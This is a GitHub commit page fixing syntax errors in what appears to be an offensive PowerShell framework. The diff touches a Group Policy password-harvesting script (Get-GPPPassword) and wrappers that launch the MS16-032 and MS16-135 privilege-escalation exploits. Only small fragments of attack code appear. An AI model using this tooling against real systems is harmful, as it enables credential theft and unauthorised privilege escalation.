Skip to content

Commit

Permalink
Fix syntax error (#259)
Browse files Browse the repository at this point in the history
  • Loading branch information
PaulWhitingS2 authored Jul 18, 2020
1 parent 6faf346 commit ed065e6
Show file tree
Hide file tree
Showing 3 changed files with 5 additions and 5 deletions.
6 changes: 3 additions & 3 deletions data/module_source/privesc/Get-GPPPassword.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -149,11 +149,11 @@ function Get-GPPPassword

'Scheduledtasks.xml' {
$Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Cpassword += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $UserName += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $Changed += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}

'DataSources.xml' {
Expand Down
2 changes: 1 addition & 1 deletion lib/modules/powershell/privesc/ms16-032.py
Original file line number Diff line number Diff line change
Expand Up @@ -110,7 +110,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
launcherCode = launcherCode.replace("`", "``").replace("$", "`$").replace("\"","'")

scriptEnd = 'Invoke-MS16032 -Command "' + launcherCode + '"'
scriptEnd += ';`nInvoke-MS16032 completed.'
scriptEnd += ';"`nInvoke-MS16032 completed."'

if obfuscate:
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
Expand Down
2 changes: 1 addition & 1 deletion lib/modules/powershell/privesc/ms16-135.py
Original file line number Diff line number Diff line change
Expand Up @@ -111,7 +111,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
launcherCode = launcherCode.replace("`", "``").replace("$", "`$").replace("\"","'")

script += 'Invoke-MS16135 -Command "' + launcherCode + '"'
script += ';`nInvoke-MS16135 completed.'
script += ';"`nInvoke-MS16135 completed."'

if obfuscate:
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
Expand Down

0 comments on commit ed065e6

Please sign in to comment.